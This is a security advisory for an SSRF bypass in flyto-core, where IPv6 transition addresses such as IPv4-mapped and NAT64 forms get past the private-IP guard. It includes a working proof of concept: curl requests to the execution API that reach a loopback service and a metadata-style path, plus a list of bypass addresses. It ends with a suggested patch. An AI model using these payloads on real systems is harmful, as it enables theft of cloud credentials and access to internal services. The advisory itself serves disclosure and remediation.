CVE-2026-55787

描述

## Summary `flyto-core`'s SSRF protection (`validate_url_ssrf` / `is_private_ip` in `src/core/utils.py`) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded `PRIVATE_IP_RANGES` list. That list contains only the *native* RFC 1918 / loopback / link-local / unique-local ranges. It does **not** account for IPv6 transition address forms that embed an IPv4 (or loopback) target: - IPv4-mapped `::ffff:a.b.c.d` - IPv4-compatible `::a.b.c.d` - 6to4 `2002::/16` - NAT64 well-known prefix `64:ff9b::/96` and local-use `64:ff9b:1::/48` A workflow author can submit a URL with a literal transition-form host (for example `http://[::ffff:127.0.0.1]:8080/...` or `http://[64:ff9b::a9fe:a9fe]/latest/meta-data/`). `is_private_ip()` returns `False` for these (the address is not literally inside any listed range), so `validate_url_ssrf` lets the request through, and the `http.get` atomic module (and ~10 sibling modules that share the same guard) performs the outbound `aiohttp` fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service `169.254.169.254`); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services. This is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF). ## Affected code `src/core/utils.py`: - `PRIVATE_IP_RANGES` (around L297) — lists native ranges only; no `64:ff9b::/96`, no `2002::/16`, no `::ffff:0:0/96`, no `::/96`. - `is_private_ip(ip_str)` (around L337) — `ipaddress.ip_address(ip_str)` then membership test against `PRIVATE_IP_RANGES`. Because the test is plain network membership (not `is_global`/`is_private` predicates), it does not unwrap transition forms, so even `::ffff:127.0.0.1` — which `ipaddress` itself classifies `is_private == True` — is **not** caught here. - `validate_url_ssrf` (around L358) — resolves via `socket.getaddrinfo(hostname, None, AF_UNSPEC)` and rejects only when `is_private_ip(ip)` is `True`. - `validate_url_with_env_config(url)` (around L496) — the wrapper actually invoked by the modules. Trust boundary in `src/core/modules/atomic/http/get.py`: - L93 `url = params.get('url')` — workflow parameter, attacker-controlled by the workflow author. - L104 `validate_url_with_env_config(url)` — the guard above. - L116 `async with session.get(url, headers=headers, ssl=ssl_param) as response` — `aiohttp` fetch; the body is returned to the caller. ### How input reaches the sink (reachability) `params['url']` (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 `validate_url_with_env_config(url)` (the bypassed guard) → L116 `aiohttp` `session.get`. The route is `POST /v1/execute` with body `{"module_id":"http.get","params":{"url":...}}` (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an `http.get` node in a workflow YAML. The response body is returned in the `data.body` field, making this a read SSRF. The same guarded-then-fetch pattern is shared by the `http.{request,batch,paginate,session}`, `browser.goto`, `image.download`, `communication.webhook_trigger`, `notification.send`, `vector.connector` and `llm.chat` atomic modules. ## Impact A user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API `POST /v1/execute` with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block: - Cloud instance-metadata service (`169.254.169.254`, `metadata.google.internal`) on NAT64/6to4-routed hosts via `http://[64:ff9b::a9fe:a9fe]/...`, exposing IAM credentials / instance identity. - Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form `http://[::ffff:127.0.0.1]:8080/...`, `http://[::ffff:10.x.x.x]/...`. The response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and `SECURITY.md` documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High. ## PoC / Proof of concept ### End-to-end reproduction (against pinned version) Environment: real `flyto-core` Execution API booted from a clean install of the current default-branch HEAD (commit `4636d9f0dcf220a11cfaa1a63927b79042bfdc5c`), Python 3.12.13, `aiohttp` 3.13.5. No `FLYTO_ALLOW_PRIVATE_NETWORK` / `FLYTO_ALLOWED_HOSTS` / `FLYTO_VSCODE_LOCAL_MODE` set (production defaults). Install and boot the real server: ``` git clone https://github.com/flytohub/flyto-core && cd flyto-core python3.12 -m venv venv && . venv/bin/activate pip install ".[api]" python -m core.api # starts uvicorn on 127.0.0.1:8333; prints token path TOKEN=$(cat ~/.flyto/.api-token-8333) # auto-generated bearer token for /v1/execute ``` Start a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080): ```python # sentinel.py — simulates an internal metadata/admin service reachable only from the host from http.server import BaseHTTPRequestHandler, HTTPServer SENTINEL = "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN" class H(BaseHTTPRequestHandler): def do_GET(self): body = f"{SENTINEL} path={self.path} from={self.client_address[0]}".encode() self.send_response(200); self.send_header("Content-Type","text/plain") self.send_header("Content-Length",str(len(body))); self.end_headers(); self.wfile.write(body) def log_message(self,*a): pass HTTPServer(("127.0.0.1", 8080), H).serve_forever() ``` Run `python sentinel.py` in a second terminal. ### Negative control 1 — raw loopback literal is correctly blocked ``` $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1","browser_session":null,"duration_ms":6010} ``` ### Negative control 2 — raw IMDS literal is correctly blocked ``` $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"module_id":"http.get","params":{"url":"http://169.254.169.254/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254","browser_session":null,"duration_ms":3003} ``` ### Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel ``` $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}' {"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1} ``` The sentinel access log confirms the request really arrived from the app: ``` [sentinel] "GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1" 200 - ``` The guard passed the transition-form host and the internal sentinel body (including the `FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN` marker) was returned to the caller. ### Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate On this host there is no NAT64 router, so the connection cannot complete; the point is that the guard **does not raise `SSRFError`** for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw `169.254.169.254` which is blocked at the guard: ``` $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805} ``` (`64:ff9b::a9fe:a9fe` is the NAT64-WKP encoding of `169.254.169.254`. The empty `[NETWORK_ERROR]` is a connect timeout, **not** the `Hostname blocked` / `URL resolves to private IP` SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.) ### Vector liveness on the affected runtime Verified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; `requires-python >= 3.9`). Because the guard uses plain `PRIVATE_IP_RANGES` membership rather than the `is_global`/`is_private` predicates, it is **not** affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime: ``` 64:ff9b::a9fe:a9fe guard_blocks=False (NAT64-WKP -> 169.254.169.254) 64:ff9b::7f00:1 guard_blocks=False (NAT64-WKP -> 127.0.0.1) 2002:7f00:1:: guard_blocks=False (6to4 -> 127.0.0.1) ::ffff:169.254.169.254 guard_blocks=False (IPv4-mapped -> IMDS) ::ffff:127.0.0.1 guard_blocks=False (IPv4-mapped -> loopback) [used in the deployed bypass above] 169.254.169.254 guard_blocks=True (native, correctly blocked) 127.0.0.1 guard_blocks=True (native, correctly blocked) ``` ## Suggested fix Unwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed. ```python def _extract_embedded_ipv4(ip): """IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None.""" if ip.version != 6: return None if ip.ipv4_mapped is not None: return ip.ipv4_mapped if ip.sixtofour is not None: # 2002::/16 return ip.sixtofour raw = int(ip).to_bytes(16, 'big') if raw[:2] == b'\x00\x64' and (raw[2:4] == b'\xff\x9b' or raw[2:6] == b'\xff\x9b\x00\x01'): return ipaddress.IPv4Address(raw[-4:]) # NAT64 64:ff9b::/96 and 64:ff9b:1::/48 if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'): return ipaddress.IPv4Address(raw[-4:]) # IPv4-compatible ::a.b.c.d (deprecated) return None def is_private_ip(ip_str: str) -> bool: try: ip = ipaddress.ip_address(ip_str) except ValueError: return True candidates = [ip] embedded = _extract_embedded_ipv4(ip) if embedded is not None: candidates.append(embedded) for candidate in candidates: for network in PRIVATE_IP_RANGES: if candidate.version == network.version and candidate in network: return True return False ``` ### Patched-build verification (same deployed server, fix applied) With the fix applied to the installed `core/utils.py` and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an `SSRFError` instead of a connect timeout: ``` # [::ffff:127.0.0.1]:8080 (was ok:true returning the sentinel; now blocked) {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -> ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.","duration_ms":5573} # [64:ff9b::a9fe:a9fe] (was a 95s connect timeout; now rejected at the SSRF gate) {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -> 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.","duration_ms":3003} ``` Public destinations expressed in transition form (e.g. `::ffff:8.8.8.8`, `64:ff9b::808:808` = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public. ## Fix PR A fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory). ## Credit Reported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.